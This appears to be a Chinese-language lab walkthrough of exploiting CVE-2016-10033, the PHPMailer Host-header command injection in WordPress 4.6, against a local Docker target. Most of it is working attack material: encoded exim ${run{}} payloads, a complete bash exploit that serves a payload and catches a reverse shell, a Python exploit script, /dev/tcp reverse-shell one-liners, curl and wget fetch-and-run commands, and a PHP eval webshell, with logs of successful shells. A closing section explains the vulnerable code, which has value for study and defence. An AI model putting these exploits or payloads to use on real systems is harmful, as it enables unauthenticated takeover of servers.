WordPress 是一种使用 PHP 语言开发的博客平台,
用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。
也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
WordPress有许多第三方开发的免费模板,安装方式简单易用。
不过要做一个自己的模板,则需要你有一定的专业知识。
比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。
历史漏洞CVE-2016-10033
PHPMailer
WordPress 使用 PHPMailer 组件向用户发送邮件。
PHPMailer(版本 < 5.2.18)
存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,
造成远程命令执行的危害。
CVE-2016-10033 https://paper.seebug.org/161/
WordPress <= 4.6.0 PHPMailer < 5.2.18
编译及运行测试环境
docker-compose build
docker-compose up -d
初始化管理员用户名和密码
访问http://your-ip:8080/
漏洞缺陷处在后台找回密码的地方
密码重置界面/wp-login.php?action=lostpassword
在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,
这个时候PHPmailer<=5.2.18时存在RCE。
http://127.0.0.1:8080/wp-login.php?action=lostpassword
登录页点击忘记密码,在用户名或电子邮件地址输入框输入aming(我注册时填的是aming)。
点击获取新密码,使用burp拦截抓包。
1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
所以我们需要将待执行的命令放到第三方网站中
然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是aming
命令只在服务器端执行命令、不会显示在客户端
1、payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2、payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
Payload,在tmp处添加success文件
xxxxxx(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
修改请求头Host的值
将Host的值完全修改为payload,不再包含IP地址
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=aming
┌──(rootamingMM)-[/home/…/Desktop/vulhub-master/wordpress/pwnscriptum]
└─# docker exec -it ca75a6ff1e70 /bin/bash
root@ca75a6ff1e70:/var/www/html# ls
index.php wp-activate.php wp-comments-post.php wp-content wp-links-opml.php wp-mail.php wp-trackback.php
license.txt wp-admin wp-config-sample.php wp-cron.php wp-load.php wp-settings.php xmlrpc.php
readme.html wp-blog-header.php wp-config.php wp-includes wp-login.php wp-signup.php
root@ca75a6ff1e70:/var/www/html# cd /tmp
root@ca75a6ff1e70:/tmp# ls
success
root@ca75a6ff1e70:/tmp#
发送payload使靶机下载1.txt,并保存到/tmp/xxx
在攻击机上监听1474端口
发送payload使靶机运行shell
root@ca75a6ff1e70:/tmp# ping 172.16.7.204
PING 172.16.7.204 (172.16.7.204) 56(84) bytes of data.
64 bytes from 172.16.7.204: icmp_seq=1 ttl=64 time=0.189 ms
64 bytes from 172.16.7.204: icmp_seq=2 ttl=64 time=0.044 ms
docker wordpress内 反弹尝试 OK
root@ca75a6ff1e70:/# bash -i >& /dev/tcp/172.16.7.204/1474 0>&1
┌──(rootamingMM)-[/home/amingmm/Desktop]
└─# nc -lvvp 1474
listening on [any] 1474 ...
python -m http.server 80
┌──(rootamingMM)-[/home/amingmm/Desktop]
└─# python2 -m SimpleHTTPServer 80 1 ⨯
Serving HTTP on 0.0.0.0 port 80 ...
bash -i >& /dev/tcp/172.16.7.204/1474 0>&1
编写反弹shell的exp,放到某个网页里。有如下要求:
整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
访问该网页不能跳转,因为follow跳转的参数是-L(大写)
拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce
将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}和${substr{0}{1}{$spool_directory}}
拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)
依次发送这两个拼接好的数据包
发送payload,下载1.txt到靶机/tmp/xxx
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)
发送payload运行shell:
原:aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
给脚本权限
┌──(rootamingMM)-[/home/amingmm/Desktop]
└─# chmod 777 1.sh 1 ⨯
┌──(rootamingMM)-[/home/amingmm/Desktop]
└─# sudo ./1.sh http://127.0.0.1:8080
sudo ./1.sh http://127.0.0.1:8080
#!/bin/bash
#
# __ __ __ __ __
# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
# /____/
#
#
# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
# CVE-2016-10033
#
# wordpress-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski (@dawid_golunski)
# https://legalhackers.com
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
#
# Exploit src URL:
# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
#
#
# Tested on WordPress 4.6:
# https://github.com/WordPress/WordPress/archive/4.6.zip
#
# Usage:
# ./wordpress-rce-exploit.sh target-wordpress-url
#
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
#
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
# shell 监听地址
rev_host="172.16.7.204"
function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";
# replace / with ${substr{0}{1}{$spool_directory}}
#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
# replace ' ' (space) with
#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
#return "target(any -froot@localhost -be $rce_cmd null)"
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro" | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1111 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -m simpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=aming&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=aming&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -nvv -l -p 1111
echo
else
echo -e "\e[92m[+]\033[0m Redsponsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0
root@ca75a6ff1e70:/tmp# ll
total 12
drwxrwxrwt 1 root root 4096 May 19 05:41 ./
drwxr-xr-x 1 root root 4096 May 19 01:39 ../
-rw------- 1 www-data www-data 68 May 19 05:44 rce
-rw------- 1 www-data www-data 0 May 19 02:34 success
root@ca75a6ff1e70:/tmp# cat rce
(sleep 3s && nohup bash -i >/dev/tcp/172.16.7.204/1474 0<&1 2>&1) &
┌──(rootamingMM)-[/home/amingmm/Desktop]
└─# sudo ./1.sh http://127.0.0.1:8080
[*] Sure you want to get a shell on the target 'http://127.0.0.1:8080' ? [y/N] y
[*] Guess I can't argue with that... Let's get started...
[+] Connected to the target
[+] Payload sent successfully
[+] Payload executed!
[*] Waiting for the target to send us a reverse shell...
listening on [any] 1111 ...
connect to [172.16.7.204] from (UNKNOWN) [172.23.0.3] 44812
bash: cannot set terminal process group (631): Inappropriate ioctl for device
bash: no job control in this shell
ww-data@ca75a6ff1e70:/$ whoami
whoami
www-data
www-data@ca75a6ff1e70:/$ ^[[A
whoami
www-data
www-data@ca75a6ff1e70:/$ ifconfig
ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:ac:17:00:03
inet addr:172.23.0.3 Bcast:172.23.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6077 errors:0 dropped:0 overruns:0 frame:0
TX packets:6386 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2080779 (2.0 MB) TX bytes:1690495 (1.6 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:570 errors:0 dropped:0 overruns:0 frame:0
TX packets:570 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:32439 (32.4 KB) TX bytes:32439 (32.4 KB)
www-data@ca75a6ff1e70:/$ sent 23, rcvd 1153
将脚本中target修改成你的目标,
user修改成一个已经存在的用户,
shell_url修改成你放置payload的网址。
(或直接将target作为第一个参数、shell_url作为第二个参数)
#!/usr/bin/env python3
import requests
import sys
# wordpress's url
target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]
# an exists user
user = 'aming'
def generate_command(command):
command = '${run{%s}}' % command
command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
return 'target(any -froot@localhost -be %s null)' % command
session = requests.session()
data = {
'user_login': user,
'redirect_to': '',
'wp-submit': 'Get New Password'
}
session.headers = {
'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
session.allow_redirects = False
target += '/wp-login.php?action=lostpassword'
print target
print data
session.post(target, data=data)
session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
session.post(target, data=data)
┌──(rootamingMM)-[/home/amingmm/Desktop]
└─# python2 ./exploit.py http://127.0.0.1:8080 172.16.7.204/1.txt
http://127.0.0.1:8080/wp-login.php?action=lostpassword
{'user_login': 'aming', 'wp-submit': 'Get New Password', 'redirect_to': ''}
┌──(rootamingMM)-[/home/amingmm/Desktop]
└─# nc -lvvp 1111 1 ⨯
listening on [any] 1111 ...
172.23.0.3: inverse host lookup failed: Unknown host
connect to [172.16.7.204] from (UNKNOWN) [172.23.0.3] 44816
bash: cannot set terminal process group (654): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ca75a6ff1e70:/tmp$ ls /tmp
ls /tmp
rce
success
利用的是curl或wget命令下载远程文件,比如下载一个webshell,再用webshell工具连接。
远程 URL 中不能有 http://
所有字母必须小写
手工 从 ip 这个地址,下载1.txt,保存到靶机的/var/www/html下,并命名为shell.php。
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}ip${substr{0}{1}{$spool_directory}}1.txt}} null)
方法同上 脚本需要自己很简单构造一下exp
eval($_POST['aming'])?>
eg:保存到web根目录下/var/www/html/shell.php
WordPress 使用PHPmailer发送重置密码 邮件
打开/wp-includes/class-phpmailer.php中:
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
由代码可以看出PHPmailer调用的是/usr/sbin/semdmail来发送邮件的。
发送邮件的命令格式为:sendmail -t -i -fusername@hostname
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
serverHostname函数通过传入的SERVER_NAME参数来获取主机名,
该主机名即HTTP请求报文中的host值,
但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,
从而产生了系统命令注入漏洞。
sendmail 提供了-O 和-X参数。
-OQueueDirectory=/tmp/
-X/tmp/aaa.php它会将发送的邮件保存到/tmp/aaa.php中。
因此我们可以构造以下payload:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xxxxxx( -X/tmp/aaa.php )@qq.com
这里Host字段值中@符号前用了一个”( )”,这样可以直接在括号中使用空格,
具体大家可以看P神 离别歌 的两篇文章。
PHPMailer 代码执行漏洞(CVE-2016-10033)分析(含通用POC) | 离别歌
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
谈一谈复杂的正则表达式分析
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符。
并且host字段值中出现’/'会出现请求错误。
可以看到在ubuntu中已经使用exim4替代了sendmail的功能.
root@990b6f7e34bb:/var/www/html/wp-includes# which sendmail
/usr/sbin/sendmail
root@990b6f7e34bb:/var/www/html/wp-includes# file /usr/sbin/sendmail
/usr/sbin/sendmail: symbolic link to `exim4'
在exim4中有一个-be参数可以读取一些变量的数据:
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$tod_log'
2018-08-23 10:22:21
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
exim4还支持一些函数用来执行一些命令:
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${substr{0}{1}{$spool_directory}}'
/
从第一个字符开始截取,然后截取长度为1,刚好可以把’/’截取出来
因此我们可以将:
空格 —> ${substr{10}{1}{$tod_log}}
/ —> ${substr{0}{1}{$spool_directory}}
$run还可以调用系统命令:
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${run{/usr/bin/id}}'
uid=0(root) gid=105(Debian-exim) groups=0(root)
比如我们此时想执行在/tmp下创建一个test.php
xxxx(any -froot@localhost -be ${run{/bin/touch /tmp/test.php}} null)
xxxx(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)
所以 有如此利用方式